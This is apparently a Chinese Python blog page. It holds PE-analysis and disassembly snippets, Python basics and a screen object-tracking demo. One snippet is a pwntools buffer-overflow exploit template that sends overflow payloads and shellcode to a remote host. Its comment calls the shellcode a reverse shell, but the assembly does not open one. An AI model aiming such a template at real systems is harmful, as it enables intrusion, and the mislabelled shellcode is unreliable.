hex(imp.address)) else: print(entry.dll.decode(), hex(imp.address))获取导出表import pefile def list_imports(pe): """列出导入表中的模块和函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): print("导入表:") for entry in pe.DIRECTORY_ENTRY_IMPORT: print(f"模块: {entry.dll.decode('utf-8')}") for imp in entry.imports: if imp.name: print(f" 函数: {imp.name.decode('utf-8')}") else: print(f" 函数: <序号 {imp.ordinal}>") else: print("没有找到导入表。") def list_exports(pe): """列出导出表中的函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): print("\n导出表:") for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name: print(f"函数: {exp.name.decode('utf-8')}") else: print(f"函数: <序号 {exp.ordinal}>") else: print("没有找到导出表。") def main(file_path): try: pe = pefile.PE(file_path) list_imports(pe) list_exports(pe) except FileNotFoundError: print(f"文件未找到: {file_path}") except pefile.PEFormatError: print(f"文件格式错误: {file_path}") if __name__ == "__main__": file_path = "xxx.dll" main(file_path)获取程序反汇编import pefile import capstone # 读取PE文件 PEpath = r'xxx.exe' pe = pefile.PE(PEpath) # 遍历节表,查找.text节 for section in pe.sections: if ".text" in str(section.Name): # 获取节的内容 data = section.get_data() # 初始化Capstone引擎 md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) # 反汇编节的内容并输出到控制台 for i in md.disasm(data, 0): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))判断程序位数import pefile pe = pefile.PE('xxx.exe') if pe.FILE_HEADER.Machine == 0x014c: print('程序为32位') elif pe.FILE_HEADER.Machine == 0x8664: print('程序为64位') else: print('程序不是32位也不是64位')Pwn Shellcodefrom pwn import * context(arch='i386', os='linux') # 远程主机地址和端口 host = 'example.com' port = 1234 # 恶意代码,这里使用了一个简单的反弹shellcode shellcode = asm(''' push esp pop eax xor ebx, ebx xor ecx, ecx xor edx, edx mov bl, 0x6 mov ecx, eax mov dl, 0x4 int 0x80 xor ebx, ebx mov bl, 0x1 int 0x80 ''') # 构造缓冲区溢出的payload # 这里的偏移量需要根据实际情况进行计算 offset = 0x20 payload = b'A' * offset + p32(0xdeadbeef) # 连接远程主机并发送payload io = remote(host, port) io.send(payload) # 等待程序崩溃并输出栈地址 io.recvuntil('Unhandled exception at address ') stack_addr = int(io.recv(10), 16) # 计算栈的偏移量并构造新的payload # 这里的偏移量需要根据实际情况进行计算 stack_offset = 0x100 payload = b'A' * offset + p32(stack_addr + stack_offset) + shellcode # 发送新的payload,触发远程代码执行 io.send(payload) # 进入交互模式,可以手动执行其他命令 io.interactive()装饰器import time def contdown(func): # 定义装饰器函数 contdown def wrapper(*args, **kwargs): start_time = time.perf_counter() result = func(*args, **kwargs) end_time = time.perf_counter() return f"{end_time - start_time}" # 将执行时间返回为字符串。 return wrapper @contdown # 用装饰器语法 @contdown def go(): time.sleep(1) print(go()) # 调用被装饰函数go类继承class Animal: def __init__(self, name): self.name = name def speak(self): pass class Dog(Animal): def speak(self): return "Woof" class Cat(Animal): def speak(self): return "Meow" dog = Dog("Fido") cat = Cat("Fluffy") print(dog.name + " says " + dog.speak()) print(cat.name + " says " + cat.speak()) # 输出: # Fido says Woof # Fluffy says Meow 静态方法class Person: def __init__(self, name, age) -> None: self.name = name self.age = age def greet(self): print( f"Hello, my name is {self.name}, my age is {self.age} years old.") @classmethod def create(cls, name, age): return cls(name, age) person1 = Person("anda", 60) person1.greet() person2 = Person.create("alice", 50) person2.greet() # 输出: # Hello, my name is anda, my age is 60 years old. # Hello, my name is alice, my age is 50 years old.代码技巧def func(x: int, y: int): print(f'x:{x}, y:{y}') pose = [1,2] func(*pose) # 元组传参 # 输出: # x:1, y:2 from itertools import permutations l = ['a', 'b', 'c'] p = permutations(l, r=2) # 输出列表所有可能的排列 print(list(p)) # 输出: # [('a', 'b'), ('a', 'c'), ('b', 'a'), ('b', 'c'), ('c', 'a'), ('c', 'b')] def func(name:str, age: int): # 定义初始变量类型 return f'{name} age is {age} years old.' age : int = 20 name: str = "lance" # 代码变量类型更清楚,去除Python解释器判断变量类型。 print(func(name, age)) # 输出: # lance age is 20 years old.
2022年09月11日
120 阅读
0 评论
9 点赞
2022-07-23
【技术分享】Python3 屏幕单目标跟踪 opencv + dlib实现 ( 第六课 )
简介dlib提供了dlib.correlation_tracker()类用于跟踪目标,于是自己修改了下直接在屏幕上绘制识别物体,效果一般有时识别会出错。完整代码import cv2 import numpy as np import dlib, mss, os window_name = 'Testone' window_size = 2 sct = mss.mss() screen_width = 1920 screen_height = 1080 # win_left , win_top, win_width, win_height = screen_width // 3, screen_height // 3, screen_width // 3, screen_height // 3 rwidth, rheight = screen_width // window_size, screen_height // window_size monitor = { 'left': 0, 'top': 0, 'width': 1920, 'height': 1080, } tracker = dlib.correlation_tracker() start_flag = True selection = None track_window = None drag_start = None def onMouseClicked(event, x, y, flags, param): global selection, track_window, drag_start if event == cv2.EVENT_LBUTTONDOWN: drag_start = (x, y) track_window = None if drag_start: xMin = min(x, drag_start[0]) yMin = min(y, drag_start[1]) xMax = max(x, drag_start[0]) yMax = max(y, drag_start[1]) selection = (xMin, yMin, xMax, yMax) if event == cv2.EVENT_LBUTTONUP: drag_start = None track_window = selection selection = None cv2.namedWindow(window_name, cv2.WINDOW_NORMAL) cv2.resizeWindow(window_name, rwidth, rheight) cv2.setMouseCallback(window_name, onMouseClicked) while True: try: img = sct.grab(monitor=monitor) img = np.array(img) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) if start_flag == True: while True: img_first = img.copy() if track_window: cv2.rectangle(img_first, (track_window[0], track_window[1]), (track_window[2], track_window[3]), (255,255,255), 2) elif selection: cv2.rectangle(img_first, (selection[0], selection[1]), (selection[2], selection[3]), (255,255,255), 2) cv2.imshow(window_name, img_first) if cv2.waitKey(5) == 13: break start_flag = False tracker.start_track(gray, dlib.rectangle(track_window[0], track_window[1], track_window[2], track_window[3])) else: tracker.update(gray) box_predict = tracker.get_position() cv2.rectangle(img,(int(box_predict.left()),int(box_predict.top())),(int(box_predict.right()),int(box_predict.bottom())),(0,255,255),2) cv2.imshow(window_name, img) if cv2.waitKey(10) == 27: break except Exception as e: print(e) os._exit(0) cv2.destroyAllWindows()视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/11/11.13.mp4"/}
2022年07月23日
62 阅读
0 评论
4 点赞
1
2
3
...
6
0:00